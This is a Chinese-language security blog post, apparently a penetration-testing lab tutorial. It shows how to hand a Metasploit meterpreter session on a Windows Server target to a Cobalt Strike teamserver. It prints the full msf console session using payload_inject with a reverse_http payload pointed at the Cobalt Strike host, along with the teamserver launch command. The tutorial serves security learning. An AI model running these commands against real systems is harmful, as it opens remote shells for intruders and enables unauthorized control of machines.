猫头鹰
信安舆情早知道

Metasploit如何派生一个shell给cobaltstrike

前言

Cobaltstrike作为一款协同APT工具,功能十分强大,针对内网的渗透测试和作为apt的控制终端功能,使其变成众多APT组织的首选,fireeye多次分析过实用cobaltstrike进行apt的案例。cobaltstrike3新版的已经摒弃了metasploit,重写了所有的功能,但是鉴于metasploit功能的强大,cobaltstrike仍然保留了对metasploit的接口,今天我们不聊其他的,只聊当我们使用metasploit获取到shell之后如何派生一个新的shell给cobaltstrike。

实验环境

  • 目标机器:windowsserver 2012 IP:192.168.81.150
  • metasploit机器:macosx IP:192.168.1.103
  • cobaltstrike 机器:ubuntu 15.10 IP:192.168.81.135

首先,我们通过其他的途径,使用metasploit在payload在目标机器上获取了一个meterpreter:

1

进入我们获取到的meterpreter中

cobaltstrike2

由于在metasploit的一些局限性和操作的不便利性,我们需要把metasploit获取到的shell派生出来一个新的shell,转交给cobaltstrike,方便我们协同渗透

在ubuntu机器上建立一个teamserver,然后本地链接,(仅仅为了演示,实际渗透中teamserver和client分开)

user@ubuntu:/pentest/exploits/framework3/cobaltstrike$ sudo ./teamserver 192.168.81.135 fuckfuckfuck

[*] Generating X509 certificate and keystore (for SSL)

[+] Team server is up on 50050

[*] SHA1 hash of SSL cert is: d59e4862132ac9033c8f91216148bfd6d1049803

启动客户端链接,这里我们需要建立一个新的监听器:

3

ok,接下来,我们开始把macos上由metasploit获取的shell派生出一个新的shell转交给cobaltstrike,这里我们需要用到一个exploit:exploit/windows/local/payload_inject

这个exploit是注入一个新的payload 到当前的session里面,我们看下具体的操作

exploit/windows/local/payload_injectmsf exploit(web_delivery) > use exploit/windows/local/payload_inject

msf exploit(payload_inject) > show options

Module options (exploit/windows/local/payload_inject):

Name Current Setting Required Description

—- ————— ——– ———–

NEWPROCESS false no New notepad.exe to inject to

PID no Process Identifier to inject of process to inject payload.

SESSION yes The session to run this module on.

Exploit target:

Id Name

— —-

0 Windows

msf exploit(payload_inject) > set PAYLOAD windows/meterpreter/reverse_http

PAYLOAD => windows/meterpreter/reverse_http

msf exploit(payload_inject) > set DisablePayloadHandler true

DisablePayloadHandler => true

msf exploit(payload_inject) > set LHOST 192.168.81.135

LHOST => 192.168.81.135

msf exploit(payload_inject) > set LPORT 8880

LPORT => 8880

msf exploit(payload_inject) > set SESSION 1

SESSION => 1

msf exploit(payload_inject) > exploit

[*] Running module against WIN-I6HQQE1E7AG

[*] Launching notepad.exe…

[*] Preparing ‘windows/meterpreter/reverse_http’ for PID 3916

msf exploit(payload_inject) >

这里我解释一下这些参数,

由于cobaltstrike的监听器我们使用的是:windows/beacon_http/reverse_http,所以我们的payload也要使用:

PAYLOAD windows/meterpreter/reverse_http

设置本地监听ip和端口,由于我们的监听器是cobaltstrike的,所以要用到cobaltstrike机器的ip和端口

默认情况下,payload_inject执行之后会在本地产生一个新的handler,由于我们已经有了一个,所以不需要在产生一个,这里我们设置

set DisablePayloadHandler true

设置我们的当前session,执行,看看ubuntu机器上的cobaltstrike是否已经接受了我们由metasploit派生出来的shell。

4

ok,ubuntu机器192.168.81.135上cobaltstrike已经有了一个新的shell,是由Mac主机192.168.1.103派生出来的新的,转交给cobaltstrike的。

在渗透过程中,不要仅限于单一模式的思路,根据实际的情况,选择更优的方法来进行下一步的渗透测试。

 

*来源: milsec  作者:Sh@doM  Mottoin授权发布

转载请注明来自MottoIN,未经允许不得转载!MottoIN » Metasploit如何派生一个shell给cobaltstrike

分享到:更多 ()

评论 抢沙发

评论前必须登录!

 

MottoIN 换一个角度看安全

寻求报道联系我们